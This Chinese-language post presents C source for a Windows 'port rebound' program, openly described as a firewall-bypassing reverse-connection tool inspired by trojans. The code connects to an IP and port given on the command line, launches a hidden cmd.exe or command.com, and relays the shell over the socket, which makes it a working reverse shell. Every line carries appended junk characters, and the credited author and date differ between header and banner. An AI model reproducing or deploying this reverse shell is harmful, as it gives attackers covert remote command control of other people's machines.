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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \xj;{xc  
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/* ============================== E4L?4>V@\  
Rebound port in Windows NT U}RBgPX!  
By wind,2006/7 ?: yz/9(  
===============================*/ #cu{AdK  
#include A^>@6d $2  
#include y:W6;R  
XP:A"WK"  
#pragma comment(lib,"wsock32.lib") gvA}s/   
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void OutputShell(); x9vSekV  
SOCKET sClient; AJbCC  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +e-F`k  
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void main(int argc,char **argv)  u]P|  
{ }OpUG  
WSADATA stWsaData;  X0VS a{  
int nRet; 3m1(l?fp  
SOCKADDR_IN stSaiClient,stSaiServer; .eR1\IAm  
@-'a{hBR  
if(argc != 3) L"qJZU  
{ 5To@d|{  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2'DCB{Jv  
return; ~5f&<,p!  
} *an Ng<@  
i6WH^IQM  
WSAStartup(MAKEWORD(2,2),&stWsaData); /MGapmqV9  
wq$$. .E  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Qt>K{ >9Cf  
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stSaiClient.sin_family = AF_INET; eV[{c %wN:  
stSaiClient.sin_port = htons(0); b=,B Le\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `tkoS  
2:*15RH3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2n:<F9^"  
{ D&G6^ME  
printf("Bind Socket Failed!\n"); CS7b3p!I  
return; ?veeW6E(  
} x+X@&S  
q)?%END  
stSaiServer.sin_family = AF_INET; r&{8/ 5 "  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZnEgU}g<2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DYf QlA  
OS(`H5D  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZcN0:xU  
{  FA+HR  
printf("Connect Error!"); #a e@VedM  
return; 5pCicwea#  
} >C0B!MT?3%  
OutputShell(); =Z\q``RBy  
} cNWmaCLN$  
T lXS}5^  
void OutputShell() kTL{Q0q  
{ h/Mt<5  
char szBuff[1024]; ~7: q+\  
SECURITY_ATTRIBUTES stSecurityAttributes; o?baiOkH  
OSVERSIONINFO stOsversionInfo; 7{#p'.nc5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2{ F-@}=  
STARTUPINFO stStartupInfo; imM!Me 0TE  
char *szShell; Xf4QLw/r  
PROCESS_INFORMATION stProcessInformation; J67 thTGFq  
unsigned long lBytesRead; K *@?BE  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8{>|%M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C*YQ{Mz(f  
stSecurityAttributes.lpSecurityDescriptor = 0; S Qmn*CW  
stSecurityAttributes.bInheritHandle = TRUE; mB`HPT  
)z7CT|h7S  
MXA?rjd0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6()Jx%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); h% -=8l,  
rmjuNy=(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qz` -?,pF  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ .tT  
stStartupInfo.wShowWindow = SW_HIDE; Es[3Ppz  
stStartupInfo.hStdInput = hReadPipe; Z\0wQ;}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L'wR$  
C6>_ wl]  
GetVersionEx(&stOsversionInfo); Y1 Ql_  
}R* %q  
switch(stOsversionInfo.dwPlatformId) \;XJ$~>  
{ >l0Qd1   
case 1: o "r  
szShell = "command.com";  l7t  
break; rO}1E<g (  
default: gbdzS6XW~  
szShell = "cmd.exe"; xhALJfv  
break; q>%B @'  
} T>'w]wi  
%RW*gUvc]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e/4C` J-  
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send(sClient,szMsg,77,0); U%F a.bL~  
while(1) 2z;nPup,  
{ P*k n}:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Da<`| l  
if(lBytesRead) $bhI2%_`M  
{ p4uzw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5xc e1[  
send(sClient,szBuff,lBytesRead,0); X[/7vSqZ@w  
} -[*y{K@dh  
else n%WjU)<  
{ :H>I`)bw  
lBytesRead=recv(sClient,szBuff,1024,0); GYtgw9 "Y  
if(lBytesRead<=0) break; q>+!Ete1p  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GN(,`y  
} /{j._4c  
} ?* +>T@MH  
$mT)<N ;w  
return; #y&5pP:@  
}
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